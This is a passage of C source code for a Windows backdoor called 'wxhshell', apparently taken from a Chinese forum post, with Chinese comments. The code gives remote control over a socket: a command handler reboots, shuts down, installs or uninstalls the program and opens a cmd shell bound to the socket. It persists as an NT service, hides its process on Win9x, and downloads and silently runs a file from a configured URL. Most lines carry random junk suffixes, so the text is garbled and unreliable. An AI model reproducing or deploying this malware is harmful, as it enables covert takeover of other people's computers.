    switch(cmd[0]) { ruzMag)  
  /G{&[X<4U  
  // 帮助 8NxUx+]  
  case '?': { 4bPqmEE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G 2!}R  
    break; sC!1B6:  
  } >,kL p|gA  
  // 安装 bG "6pU  
  case 'i': { dZ.}j&ZH'  
    if(Install()) LgO i3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J1nXAh)J  
    else ?<Z)*CF)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A\Lr<{Jh  
    break; H]VsOr  
    } f 5mY;z"  
  // 卸载 -e &$,R>;  
  case 'r': { @;g`+:=  
    if(Uninstall()) SgyqmYTvZw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 23)F-.C}j  
    else E1^aAlVSD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (_s;aK  
    break; o*?[_{x W  
    } }Q,(u   
  // 显示 wxhshell 所在路径 rf)PAdj|~  
  case 'p': { BN_!Y)F l  
    char svExeFile[MAX_PATH]; &qNP?>C!=  
    strcpy(svExeFile,"\n\r"); G~JC gi  
      strcat(svExeFile,ExeFile); _'H2>V_  
        send(wsh,svExeFile,strlen(svExeFile),0); ^6ExW>K  
    break; PG\\V$}A(  
    } OY+!aG@.  
  // 重启 !}z%#$  
  case 'b': { )lQN)! .)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); & 8ccrw  
    if(Boot(REBOOT)) u![4=w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 37J\i ]  
    else { <GSQ2bX[  
    closesocket(wsh); ww-XMz h  
    ExitThread(0); JqL<$mSep  
    } ]lymY _ >  
    break; &uv>'S#%  
    } :yd=No@  
  // 关机 %j~9O~-  
  case 'd': { .@4QkG/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *U( 1iv0n  
    if(Boot(SHUTDOWN)) j7QBU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;%v%K+}r  
    else { xAR^  
    closesocket(wsh); m]bL)]Z  
    ExitThread(0); dVasm<lZ  
    } '~ jy  
    break; hVQ7'@  
    } 2q2p=H>&  
  // 获取shell ju8',ZC  
  case 's': { & gY;`*<  
    CmdShell(wsh); THrc H  
    closesocket(wsh); (k7;  
    ExitThread(0); EG'7}W  
    break; i)A`Vpn  
  } P}ehNt*($  
  // 退出 R1]v}f_I"  
  case 'x': { 3N(8| wh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <1ztj#B  
    CloseIt(wsh); !O 0ZD4/{4  
    break; 34"{rMbQ  
    } ?q+8 /2  
  // 离开 0L3Bo3:k  
  case 'q': { gubb .EY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =YS!soO  
    closesocket(wsh); Y9z:xE  
    WSACleanup(); c@0l-R{q  
    exit(1); nEjo,   
    break; aL_;`@4  
        } 3MS3O.0]/  
  } j<. <S {  
  } 7AZ5%o  
6Y0/i,d*  
  // 提示信息 &xPOp$Sx~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `XQx$I  
} O[i2A (  
  } <) >gg!   
|[lxV&SD .  
  return; 5^G7pI7  
} N[|by}@n  
}'@tA")-)  
// shell模块句柄 bAA'=z<  
int CmdShell(SOCKET sock) T>AI0R3  
{ ?M*C*/R  
STARTUPINFO si; 6/p]jN  
ZeroMemory(&si,sizeof(si)); |q1b8A\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KDNTnA1c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _*OaiEL+:  
PROCESS_INFORMATION ProcessInfo; *@b~f&Lx6  
char cmdline[]="cmd"; hW*^1%1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bTA14&& q  
  return 0; Jgi{7J  
} Z7K!"I  
^*$WZMMJ1  
// 自身启动模式 NKIkd  
int StartFromService(void) S4@117z5  
{ ~|$) 1  
typedef struct $=;bccIob  
{ "9MX,}X*  
  DWORD ExitStatus; 7;$L&X  
  DWORD PebBaseAddress; bUipp\[aV  
  DWORD AffinityMask; HbJadOK  
  DWORD BasePriority; ;&7qw69k  
  ULONG UniqueProcessId; .{-iq(3  
  ULONG InheritedFromUniqueProcessId; +#i,87  
}   PROCESS_BASIC_INFORMATION; il`C,CD  
+E""8kW- Z  
PROCNTQSIP NtQueryInformationProcess; LiHXWi{s  
r`mzsO-'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +ik N) D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b_)QBE9  
{4V:[*3  
  HANDLE             hProcess; &L[8Mju6  
  PROCESS_BASIC_INFORMATION pbi; B8BY3~}]  
]%ZjD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $AL|d[[T[  
  if(NULL == hInst ) return 0; )nbyV a  
Z;dwn~Tw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rsq'60  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T^f&58{ 7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ] BP^.N=  
2yVGE p^  
  if (!NtQueryInformationProcess) return 0; |eVTxeq  
BhhK| U/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7\Yq]:;O  
  if(!hProcess) return 0; &`\kb2uep  
;Kq<',u~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n=#[Mi $Y  
<iY 9cV|}3  
  CloseHandle(hProcess); @/ovdf{  
#q^>qX y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sov62wuqU  
if(hProcess==NULL) return 0; ,M9hb<:m  
,_4 KyLfBF  
HMODULE hMod; +$pO  
char procName[255]; Q%b46"  
unsigned long cbNeeded; vp9E}ga  
C9^elcdv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ) Sh;UW  
Qg8eq_m(  
  CloseHandle(hProcess); U%S NROj  
O.m.]%URW  
if(strstr(procName,"services")) return 1; // 以服务启动 k%bTs+] *  
iaq:5||,  
  return 0; // 注册表启动 Ug[F3J|Mu  
} p_kTLNZd9  
9BgQ oK@  
// 主模块 rqG6Ll`=+  
int StartWxhshell(LPSTR lpCmdLine) k+>p!1  
{ U]R|ej  
  SOCKET wsl; _ jM6ej<  
BOOL val=TRUE; *TMM:w|1  
  int port=0; BfO}4  
  struct sockaddr_in door; :Q%yW%St$  
)="g?E3  
  if(wscfg.ws_autoins) Install(); gs2&0rnOy\  
&`9bGO  
port=atoi(lpCmdLine); C J}4V!;|  
=*O9)$b  
if(port<=0) port=wscfg.ws_port; n*]x02:LjZ  
~NJLS-  
  WSADATA data; hJtghG6v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; epm8N /  
l.t.,:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5Qe}v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y_ u7 0@`  
  door.sin_family = AF_INET; q?b)zeJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QH56tQq  
  door.sin_port = htons(port); VE+p&0  
Ub-k<]yZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lVK F^-i  
closesocket(wsl); boHm1hPKS  
return 1; 8C4@V[sm`  
} B\~3p4S  
=?QQb>  
  if(listen(wsl,2) == INVALID_SOCKET) { "nS{ ;:  
closesocket(wsl); vcUM]m8k   
return 1; Pp")hFx  
} Szob_IEq,  
  Wxhshell(wsl); RI].LB_  
  WSACleanup(); Tr+Y@]"  
os0"haOI9h  
return 0; gcY~_'&u  
<GU(/S!}  
} [_z2z6  
S&g -  
// 以NT服务方式启动 < oG\)!O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3jQ$72_  
{ @C6DOB  
DWORD   status = 0; t3kh]2t  
  DWORD   specificError = 0xfffffff; OjL"0imN6  
_O'rZ5}&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CpJXLc3_d5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ny;)+v?mN\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;jfXU_K  
  serviceStatus.dwWin32ExitCode     = 0; oI"Fpo  
  serviceStatus.dwServiceSpecificExitCode = 0; SX<>6vH&  
  serviceStatus.dwCheckPoint       = 0; N,'qMoNf  
  serviceStatus.dwWaitHint       = 0; *xX0]{49q  
X([n>w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a}8>(jtSt  
  if (hServiceStatusHandle==0) return; n@8{FoF  
qv >(  
status = GetLastError(); !!Gi.VL  
  if (status!=NO_ERROR) v nT  
{ G7#~=W 2M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?@7|Q/  
    serviceStatus.dwCheckPoint       = 0; ErUk>V  
    serviceStatus.dwWaitHint       = 0; .*..pf|/  
    serviceStatus.dwWin32ExitCode     = status; ?J1&,'&  
    serviceStatus.dwServiceSpecificExitCode = specificError; Le+8s LE`Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +]2~@=<@  
    return; o]k]pNO  
  } 2H0q\zZ  
&S`'o%B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +(hwe jyC  
  serviceStatus.dwCheckPoint       = 0; sjbC~Te--  
  serviceStatus.dwWaitHint       = 0; eT \Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); olW`.3f  
} _p^ "!  
w\[*_wQp  
// 处理NT服务事件,比如:启动、停止 ^ C#bW <T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *fyEw\`a  
{ "h|0]y^2  
switch(fdwControl) E.*OA y  
{ GeR -k9  
case SERVICE_CONTROL_STOP: 9!<3qx/  
  serviceStatus.dwWin32ExitCode = 0; :'Kx?Es   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mr\L q~*c  
  serviceStatus.dwCheckPoint   = 0; m,"tdVo.  
  serviceStatus.dwWaitHint     = 0; G@6,O-Sj  
  { Wam?(!{mOf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <cd%n-  
  } c35vjYQx0  
  return; o%s}jBo}  
case SERVICE_CONTROL_PAUSE: >Qu^{o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @g` ,'r  
  break; `'t;BXedz/  
case SERVICE_CONTROL_CONTINUE: " ~hjB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H s 3*OhK\  
  break; 4C*=8oe_  
case SERVICE_CONTROL_INTERROGATE: nqW:P$  
  break; im%3*bv-  
}; 2n,73$ s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 833t0Ml1A/  
} "+C\f)  
y^fU_L?p  
// 标准应用程序主函数 sX?7`n1U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UjK&`a ;V  
{ SQ.Wj?W)  
Dy'l]vN$  
// 获取操作系统版本 qt;Tfuo  
OsIsNt=GetOsVer(); V'4}9J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s:.XF|e{  
|1 6v4 R  
  // 从命令行安装 ;'+cT.cmH  
  if(strpbrk(lpCmdLine,"iI")) Install(); z-E4-\a  
^vz@d+\Kd  
  // 下载执行文件 \d`Sz *  
if(wscfg.ws_downexe) { LR.+C xQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u 9Tl Xn  
  WinExec(wscfg.ws_filenam,SW_HIDE); y6yseR!  
} TniKH( w/  
S :|*wB  
if(!OsIsNt) { U6 R4UK  
// 如果时win9x,隐藏进程并且设置为注册表启动 *XR~fs?/*W  
HideProc(); }J lW\#  
StartWxhshell(lpCmdLine); I=-;*3g6  
} 73<yrBxp  
else  `a9>4  
  if(StartFromService()) H(m+rk  
  // 以服务方式启动 Um|Tf]q  
  StartServiceCtrlDispatcher(DispatchTable); |a\TUzq  
else WHT%m|yn  
  // 普通方式启动 nA j2k  
  StartWxhshell(lpCmdLine); tS@/Bq('B  
D'+8]B  
return 0; >C66X?0cd  
}
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只看该作者 1 发表于: 2006-10-10
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